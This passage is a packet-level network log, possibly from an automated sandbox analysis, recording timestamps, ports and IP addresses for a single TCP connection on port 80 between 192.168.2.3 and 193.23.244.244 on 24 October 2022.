Oct 24, 2022 11:09:03.814748049 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814753056 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814766884 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814785957 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814795017 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814806938 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814826012 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814831018 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814845085 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814862967 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814870119 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814901114 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814908981 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814927101 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814945936 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814964056 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814970016 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814984083 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.815011978 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.815013885 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.815032005 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.815049887 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.815057993 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.815068960 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.815088987 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.815098047 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.815109015 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.815128088 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.815138102 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.815148115 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.815167904 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.815169096 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.815186977 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.815207005 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.815212011 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.815263033 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.842433929 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.842468977 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.842489958 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.842509985 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.842529058 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.842549086 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.842585087 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.842659950 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.842737913 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.842806101 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.842847109 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.842864990 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.842870951 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.842916965 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.842927933 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.842952013 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.842974901 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843007088 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.843029976 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843053102 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843070030 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.843077898 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843101025 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843116999 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.843123913 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843147993 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843162060 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.843170881 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843194008 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843216896 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.843244076 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843286037 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.843306065 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843365908 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843401909 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.843408108 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843475103 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843560934 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.843566895 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843626976 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843666077 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.843688965 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843750954 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843787909 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.843818903 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843888998 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.843947887 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.843951941 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844013929 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844053030 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.844078064 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844166994 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844208002 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.844234943 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844279051 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844300985 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844321966 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844321966 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.844346046 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844366074 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.844413042 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844449043 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844460011 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.844561100 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844623089 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844628096 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.844662905 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844692945 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844703913 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.844722033 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844753027 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844764948 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.844783068 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844810963 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844821930 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.844841003 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844871044 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844883919 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.844899893 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844929934 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844942093 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.844959974 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.844990015 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845000982 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845020056 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845048904 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845073938 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845079899 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845108986 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845124960 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845139980 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845169067 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845179081 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845197916 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845227003 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845240116 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845257044 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845285892 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845295906 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845315933 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845345020 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845354080 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845374107 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845402956 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845412970 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845432043 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845460892 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845482111 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845491886 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845521927 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845536947 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845561981 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845592022 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845612049 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845619917 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845649004 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845665932 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845679045 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845709085 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845722914 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845737934 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845767021 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845777988 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845796108 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845824957 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845834017 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845854044 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845881939 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845896006 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845911980 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845941067 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845949888 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.845971107 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.845999956 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846021891 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846029997 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846060038 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846081018 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846092939 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846122026 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846134901 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846151114 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846179008 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846189976 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846209049 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846236944 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846247911 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846266031 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846296072 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846303940 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846323967 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846353054 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846374035 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846381903 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846419096 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846432924 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846448898 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846477032 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846503019 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846506119 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846535921 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846553087 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846575022 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846605062 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846621990 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846635103 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846666098 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846683025 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846698046 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846728086 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846746922 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846796036 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846828938 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846848011 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846860886 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846903086 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846910000 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846941948 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846971035 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.846976042 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846976042 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.846992970 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847001076 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847018003 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847032070 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847039938 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847062111 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847088099 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847095013 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847119093 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847126007 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847143888 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847156048 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847167015 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847187042 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847210884 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847245932 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847274065 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847284079 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847302914 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847311020 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847332954 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847333908 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847362995 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847368002 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847385883 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847393990 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847408056 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847423077 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847431898 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847459078 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847476959 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847489119 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847517014 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847528934 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847547054 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847565889 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847588062 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.847615957 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.847642899 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.848001003 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.848061085 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.875253916 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.875314951 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.875328064 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.875360012 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.875363111 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.875411987 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.875425100 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.875466108 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.875473022 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.875519991 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.875530958 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.875566006 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.875572920 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.875611067 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.875612020 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.875657082 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.875694990 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.875709057 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.875725985 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.875777006 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.875777960 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.875822067 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.875833035 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.875874043 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.875921011 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.875926971 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.875958920 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.875979900 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876002073 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876029968 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876044989 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876075983 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876091957 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876126051 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876127005 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876177073 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876178980 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876224041 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876230001 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876266956 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876269102 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876312971 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876313925 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876358032 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876358986 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876403093 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876403093 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876447916 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876449108 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876492023 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876492977 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876534939 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876535892 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876580954 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876581907 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876626968 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876627922 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876672983 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876703024 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876718998 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876722097 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876765013 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876765966 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876811981 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876818895 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876856089 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876863956 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876899958 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876905918 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876943111 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.876949072 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876995087 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.876996994 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877039909 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877042055 CEST	49701	80	192.168.2.3	193.23.244.244
